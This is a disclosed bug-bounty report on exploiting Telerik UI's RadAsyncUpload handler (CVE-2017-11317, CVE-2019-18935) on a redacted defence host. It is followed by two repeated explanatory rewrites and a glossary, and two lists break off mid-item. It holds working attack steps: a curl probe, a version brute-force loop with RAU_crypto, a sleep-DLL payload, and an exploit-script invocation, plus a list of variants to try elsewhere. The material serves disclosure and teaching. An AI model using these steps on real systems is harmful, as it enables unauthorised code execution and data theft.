Remote Code Execution via Insecure Deserialization in Telerik UI (CVE-2019-18935)
The Telerik UI file upload handler was vulnerable to CVE-2017-11317 and CVE-2019-18935, allowing arbitrary file upload and potential remote code execution. The reporter confirmed file upload but could not achieve code execution with the test payload.
- Triaged in 2 days
- Fixed in 10 days
- Disclosed after 39 days
Description: https://██████/██████████/Telerik.Web.UI.WebResource.axd?type=rau is vulnerable to CVE-2017-11317 and CVE-2019-18935, allowing an attacker to upload arbitrary files and gain remote code execution on the underlying system.
References
https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui
Impact
An attacker can execute code on the vulnerable server, allowing an attacker to gain a foothold and exfiltrate data. Depending on the security posture of the underlying system, an attacker may be able to escalate privileges or laterally move to other systems within the network using this access.
System Host(s)
████
Affected Product(s) and Version(s)
Telerik UI Version ███
CVE Numbers
CVE-2017-11317, CVE-2019-18935
Steps to Reproduce
Verify the Upload Handler is Registered
First, confirm the file upload handler is registered by issuing the following request:
curl -sk https://██████████/██████████/Telerik.Web.UI.WebResource.axd?type=rau
You should see the following response:
{ "message" : "RadAsyncUpload handler is registered succesfully, however, it may not be accessed directly." }
Version Identification
Next, you will need to install RAU_crypto (https://github.com/bao7uo/RAU_crypto) and use it to submit upload requests with known vulnerable versions until finding the correct version. After RAU_crypto has been installed, you can use the following script (with the attached versions.txt file):
echo 'test' > testfile.txt
for VERSION in $(cat versions.txt); do
echo -n "$VERSION: "
python3 RAU_crypto.py -P '█████' "$VERSION" testfile.txt https://█████████/█████/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null | grep fileInfo || echo
done
This uploads a file (in this case, testfile.txt) to the █████ directory on the target server. The contents of my testfile.txt simply included the word "test".
The script should eventually identify a vulnerable version (████████), indicating the file upload succeeded and showing an encrypted blob of data related to the uploaded file:
█████████: {"fileInfo":{"FileName":"RAU_crypto.bypass","ContentType":"text/html","ContentLength":5,"DateJson":█████ }
Compiling a Test Payload
Now that we know we can upload a file to the target, we can attempt to exploit the deserialization vulnerability. To do this, we can compile and upload a DLL that causes the server to sleep for 10 seconds before responding:
#include <windows.h>
#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
Sleep(10000); // Time interval in milliseconds.
return TRUE;
}
As a .NET application will only load an assembly once with a given name, the dll from my test will only successfully sleep the server on the first exploit. I have compiled and attached an unused dll for testing purposes if desired (if not, just follow the steps from the link in the references section).
Exploitation
Now that we have our test payload ready, we can use the attached CVE-2019-18935.py script to upload and execute the dll.
python3 CVE-2019-18935.py -u https://███████/███/Telerik.Web.UI.WebResource.axd?type=rau -v ██████████ -f '███' -p sleep_2020070207013954_amd64.dll
Note: I'm having trouble getting the server to sleep with the crafted
.dll. The files are getting uploaded, but do not seem to be causing the server to sleep as expected. It is 02:30 AM here at the moment so I am heading to bed but will update tomorrow with more info in the comments, and will end up self closing if I can't get execution.
Suggested Mitigation/Remediation Actions
Update TelerikUI to the latest (or a patched) version.
Context
The target is a U.S. Department of Defence host running Telerik UI, the Progress (formerly Telerik) component suite for ASP.NET. The specific feature in scope is RadAsyncUpload, the asynchronous file upload control. Its server-side handler is exposed through Telerik.Web.UI.WebResource.axd, and when the handler is registered, requests with type=rau are routed to it.
The researcher found that the handler at the following path was vulnerable to CVE-2017-11317 and CVE-2019-18935, which together allow an attacker to upload arbitrary files and gain remote code execution on the underlying system.
https://██████/██████████/Telerik.Web.UI.WebResource.axd?type=rau
The report cites the Bishop Fox write-up on CVE-2019-18935 as its reference for the exploitation technique.
Setup
The work was done from a Linux-style shell with curl, Python 3, and two tools:
RAU_crypto(https://github.com/bao7uo/RAU_crypto), used to encrypt upload requests and to identify the Telerik version.- A script named
CVE-2019-18935.py, attached to the report, used to upload and trigger the deserialisation payload. - A
versions.txtfile, also attached, containing a list of Telerik versions to try. - A compiled test DLL,
sleep_2020070207013954_amd64.dll, which sleeps for ten seconds when loaded.
The affected product is recorded as Telerik UI, with the exact version redacted in the report. The host and the upload directory are likewise redacted.
Finding it
The researcher identified the RadAsyncUpload handler endpoint and tested it directly. The handler is meant to receive encrypted upload requests from the client-side upload control; it is not intended to be reachable as a general-purpose file upload interface. The report states the handler is vulnerable to CVE-2017-11317 and CVE-2019-18935, allowing arbitrary file upload and remote code execution.
Exploitation
Step 1: Verify the upload handler is registered
The first request simply asks the handler whether it is present:
curl -sk https://██████████/██████████/Telerik.Web.UI.WebResource.axd?type=rau
The -s flag silences progress output and -k skips certificate validation. A registered handler answers with:
{ "message" : "RadAsyncUpload handler is registered succesfully, however, it may not be accessed directly." }
That message confirms the endpoint exists and is wired up, even though it warns that direct access is not the intended usage.
Step 2: Identify the Telerik version
Because the exploit depends on the exact version, the researcher brute-forced the version by submitting upload requests for each candidate until one succeeded. First a small file was created:
echo 'test' > testfile.txt
Then each version from versions.txt was tried in turn:
for VERSION in $(cat versions.txt); do
echo -n "$VERSION: "
python3 RAU_crypto.py -P '█████' "$VERSION" testfile.txt https://█████████/█████/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null | grep fileInfo || echo
done
The -P argument supplies the target upload directory (redacted). For each version, RAU_crypto.py builds an encrypted upload request containing testfile.txt and posts it to the handler. Output is filtered with grep fileInfo, so only responses that describe an uploaded file are shown; errors are discarded. The file contents were simply the word test.
A vulnerable version eventually produced a response containing an encrypted blob of data about the uploaded file:
█████████: {"fileInfo":{"FileName":"RAU_crypto.bypass","ContentType":"text/html","ContentLength":5,"DateJson":█████ }
The fileInfo object with a FileName, ContentType, ContentLength and DateJson indicates the file upload succeeded. The report notes the contents of testfile.txt were simply the word test.
Step 3: Compile a test payload
With arbitrary file upload confirmed, the next step was to prove code execution. The researcher compiled a DLL whose entry point sleeps for ten seconds when the assembly is loaded:
#include <windows.h>
#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
Sleep(10000); // Time interval in milliseconds.
return TRUE;
}
DllMain runs on DLL_PROCESS_ATTACH, so a ten-second delay in the HTTP response would be observable evidence that the server loaded the assembly. The researcher notes an important limitation: a .NET application loads an assembly with a given name only once, so this particular DLL would only cause the delay on the first exploit attempt. An unused DLL was attached to the report for testing.
Step 4: Upload and trigger the payload
The attached CVE-2019-18935.py script was used to deliver the DLL through the same handler:
python3 CVE-2019-18935.py -u https://███████/███/Telerik.Web.UI.WebResource.axd?type=rau -v ██████████ -f '███' -p sleep_2020070207013954_amd64.dll
Here -u is the handler URL, -v the identified Telerik version, -f the target directory and -p the local payload file. The attached CVE-2019-18935.py script was used to upload and execute the dll.
At the time of writing, the researcher had not yet observed the delay. The report ends with a note that the files were being uploaded but the server did not appear to sleep as expected, and that the submission would be updated the following day or self-closed if execution could not be achieved.
Root cause
The RadAsyncUpload handler accepts encrypted, serialised upload requests from clients. The report lists CVE-2017-11317 and CVE-2019-18935 as affecting the handler. The report states the handler is vulnerable to both CVEs, allowing arbitrary file upload and remote code execution. The handler's own response states that it should not be accessed directly, so the design assumes clients only reach it through the legitimate upload control; The handler answered a direct request and accepted an uploaded file.
Impact
Per the report, an attacker can execute code on the vulnerable server, gaining a foothold and the ability to exfiltrate data. Depending on the security posture of the underlying system, the attacker may also be able to escalate privileges or move laterally to other systems in the network. These outcomes are hedged on the host's configuration; the demonstrated evidence in the report is arbitrary file upload, with code execution still being confirmed when the report was written.
Fix
The suggested remediation is to update Telerik UI to the latest (or a patched) version.
Variants to test
- Handler registration check. Request
Telerik.Web.UI.WebResource.axd?type=rauon any ASP.NET host suspected of running Telerik UI. A JSON message confirming theRadAsyncUploadhandler is registered is a positive result. - Version brute force with
RAU_crypto. Run the version loop against the handler with a small test file. A response containing afileInfoobject with aFileNameandContentLengthmatching the test file indicates the upload succeeded and the version is vulnerable. - Deserialisation proof with a timing payload. Upload a DLL that sleeps in
DllMainand measure the response time. A delay of the configured interval on the first attempt would indicate the assembly was loaded; a .NET application loads a given assembly name only once. - Directory placement.
What happened, in plain words
A security researcher found a file on a U.S. Department of Defence web server that was running a piece of software called Telerik UI. Telerik UI is a collection of ready-made building blocks that programmers use when they build websites with Microsoft's ASP.NET technology. One of those building blocks is a file uploader called RadAsyncUpload, which lets a visitor to a website send a file to the server without reloading the page.
That uploader has a known flaw. Two flaws, actually, tracked publicly as CVE-2017-11317 and CVE-2019-18935. A CVE is a catalogue number for a publicly known security bug, so anyone can look it up. The report says these bugs allow an attacker to upload arbitrary files and gain remote code execution. Running your own code on someone else's server is about as bad as it gets: it is called remote code execution, or RCE.
The researcher did not get all the way to a confirmed code execution before writing the report. The files were being uploaded, but the test that should have made the server pause did not visibly work. The report says so plainly at the end. What was proven is that the server accepted files from an outsider, which is the dangerous first half of the attack.
The vulnerable address
The researcher found that this address on the target was vulnerable:
https://██████/██████████/Telerik.Web.UI.WebResource.axd?type=rau
Reading it piece by piece:
https://is the normal secure web protocol, the same one your browser uses for banking.██████is the server's name, hidden in the report.██████████is a folder path on that server, also hidden.Telerik.Web.UI.WebResource.axdis the name of a special file that the Telerik software installs. The.axdending is an ASP.NET convention for a handler, which is a small program that answers a particular kind of request rather than serving a normal page.?type=rauis a parameter, a little label added to the address.raustands for RadAsyncUpload. It tells the handler which job to do.
So the address is essentially a doorbell for the uploader. The report cites a public write-up by Bishop Fox on CVE-2019-18935 as the reference for how the attack works.
What the researcher needed before starting
The work was done from a command line, a text-only way of talking to computers, using a few tools:
curl, a program that fetches a web address and prints the reply, like a browser without a window.- Python 3, a programming language used to run the helper scripts.
RAU_crypto, a public tool from GitHub (https://github.com/bao7uo/RAU_crypto) that builds the specially encrypted upload requests the uploader expects, and that can also guess which version of Telerik is installed.CVE-2019-18935.py, a script attached to the report that uploads a payload and triggers the flaw.versions.txt, a list of Telerik version numbers to try, also attached.- A test DLL,
sleep_2020070207013954_amd64.dll, a small Windows program that waits ten seconds when loaded.
The exact Telerik version, the server name and the upload folder are all hidden in the report.
Step 1: Check that the uploader is switched on
The first request simply asks the server whether the uploader is there:
curl -sk https://██████████/██████████/Telerik.Web.UI.WebResource.axd?type=rau
Line by line:
curlis the tool being run.-smeans silent: do not print a progress bar, just the answer.-kmeans skip the certificate check. Websites prove their identity with a certificate;-ktells curl to accept whatever certificate comes back, which is handy when testing a server whose certificate may not match its name.- The long address is the uploader's doorbell, as above.
A server with the uploader switched on replies with:
{ "message" : "RadAsyncUpload handler is registered succesfully, however, it may not be accessed directly." }
This is a short JSON message, a common text format for data that computers exchange. It says the uploader is registered, meaning the server knows about it and will answer, but warns that it should not be called directly. The message says the handler is registered but may not be accessed directly.
Step 2: Work out which version is installed
The attack depends on the exact version of Telerik, because different versions were fixed at different times. Rather than guess, the researcher tried each version in the list until one worked. First, a tiny file was created to upload:
echo 'test' > testfile.txt
echo 'test' prints the word test, and > sends that output into a new file called testfile.txt. The file contained the word test.
Then the loop:
for VERSION in $(cat versions.txt); do
echo -n "$VERSION: "
python3 RAU_crypto.py -P '█████' "$VERSION" testfile.txt https://█████████/█████/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null | grep fileInfo || echo
done
Line by line:
for VERSION in $(cat versions.txt); doreads the fileversions.txtand repeats the following commands once for each version number it contains.echo -n "$VERSION: "prints the current version number followed by a colon, without a line break, so you can tell which attempt produced which result.python3 RAU_crypto.py ...runs the helper tool.-P '█████'tells it which folder on the server to upload into (hidden in the report)."$VERSION"is the version being tried.testfile.txtis the file to send. The long address is the uploader again.2>/dev/nullthrows away error messages so they do not clutter the output.| grep fileInfokeeps only lines containing the wordfileInfo, which is the part of a successful reply that describes the uploaded file.|| echoprints a blank line if nothing matched, so the output stays readable.
When a vulnerable version was hit, the reply looked like this:
█████████: {"fileInfo":{"FileName":"RAU_crypto.bypass","ContentType":"text/html","ContentLength":5,"DateJson":█████ }
The version number is at the start. The fileInfo block says the server stored a file called RAU_crypto.bypass, labelled as text/html, with a length of 5 bytes. The response indicates the file upload succeeded. The DateJson field records when, but its value is hidden.
Step 3: Build a test payload
Uploading a harmless text file proves the door is open. To prove the server will actually run code, the researcher wrote a small Windows program, a DLL. A DLL is a bundle of code that a Windows program can load and use, a bit like a plug-in.
#include <windows.h>
#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
Sleep(10000); // Time interval in milliseconds.
return TRUE;
}
Line by line:
#include <windows.h>and#include <stdio.h>pull in the standard Windows definitions the program needs.BOOL WINAPI DllMain(...)is the entry point of a DLL. Windows calls this function automatically when the DLL is loaded or unloaded.if (fdwReason == DLL_PROCESS_ATTACH)checks that the DLL is being loaded, rather than unloaded.Sleep(10000);pauses for 10,000 milliseconds, which is ten seconds.return TRUE;tells Windows the load succeeded.
The idea is simple: if the server loads this DLL, its reply will be ten seconds late. A stopwatch becomes the proof of code execution. The researcher notes one catch: a .NET application loads a DLL with a given name only once, so this particular file would only cause the delay on the first attempt. A fresh, unused DLL was attached to the report for anyone who wants to repeat the test.
Step 4: Upload and trigger the payload
The attached script sends the DLL through the same uploader:
python3 CVE-2019-18935.py -u https://███████/███/Telerik.Web.UI.WebResource.axd?type=rau -v ██████████ -f '███' -p sleep_2020070207013954_amd64.dll
Line by line:
python3runs the script.-ugives the uploader's address.-vgives the Telerik version found in step 2 (hidden here).-fgives the folder on the server to write into (hidden here).-pnames the local file to send, the sleeping DLL.
The attached script was used to upload and execute the dll. Deserialisation is the act of turning stored data back into a live object in memory, and it is the moment the DLL gets loaded.
At the time of writing, the delay did not appear. The report ends with a note that the files were being uploaded but the server did not seem to sleep, that it was 02:30 in the morning, and that the researcher would update the next day or close the report if execution could not be achieved.
Why this works
The uploader is designed to receive encrypted, packaged upload requests from its own web page. The report lists CVE-2017-11317 and CVE-2019-18935 as affecting the handler. The report says the handler is vulnerable to both CVEs, allowing arbitrary file upload and remote code execution. The handler's reply says it may not be accessed directly, yet a direct request was answered and an uploaded file was accepted.
What an attacker could do
According to the report, an attacker can run code on the vulnerable server, gaining a foothold and the ability to steal data. Depending on how well the underlying system is locked down, the attacker might also be able to raise their privileges or move sideways to other machines on the network. Those outcomes depend on the host's configuration. The evidence actually shown in the report is file upload; code execution was still being confirmed when it was written.
The fix
Update Telerik UI to the latest version, or to any patched version that addresses CVE-2017-11317 and CVE-2019-18935.
Things worth trying elsewhere
- Check whether the uploader is registered. Request
Telerik.Web.UI.WebResource.axd?type=rauon any ASP.NET server that might run Telerik UI. A JSON message confirming the handler is registered is a positive sign. - Guess the version with
RAU_crypto. Run the version loop with a small test file. A reply containing afileInfoblock whoseFileNameandContentLengthmatch your file means the upload worked and the version is vulnerable. - Prove unpacking with a timing payload. Upload a DLL that sleeps in
DllMainand time the reply. A delay on the first attempt would indicate the DLL was loaded; a .NET application loads a given DLL name only once. - **
Glossary
- ASP.NET: Microsoft's framework for building websites and web applications.
- CVE: a public catalogue number for a known security bug, so people can look it up and track fixes.
- Code execution (RCE): making a computer run code that its owner did not intend, often code supplied by an attacker.
- Command line: a text-only way of giving instructions to a computer.
- Cookie / token: a small piece of data a website gives your browser so it can recognise you on later requests. Not used in this report, but common in web attacks.
curl: a command-line tool that fetches a web address and prints the reply.- Deserialisation: turning stored or transmitted data back into a live object in a program's memory. If the data is attacker-controlled, this can load and run their code.
- DLL: a bundle of code on Windows that a program can load and use, like a plug-in.
DllMain: the function Windows calls automatically when a DLL is loaded or unloaded.- Handler: a small program on a web server that answers a particular kind of request rather than serving a normal page.
- JSON: a common text format for exchanging data between computers.
- Parameter: a label added to a web address after a
?, telling the server what you want. - Payload: the file or data an attacker sends to make something happen on the target.
- RadAsyncUpload: Telerik's file upload control for ASP.NET, which sends files to the server without reloading the page.
- Remote code execution: see code execution; the attacker is on a different machine.
- Serialisation: turning a live object in memory into stored or transmittable data. Its reverse is deserialisation.
- Telerik UI: a suite of ready-made website building blocks for ASP.NET, made by Progress (formerly Telerik).
- Vulnerability: a weakness in software that someone can abuse to do something the owner did not intend.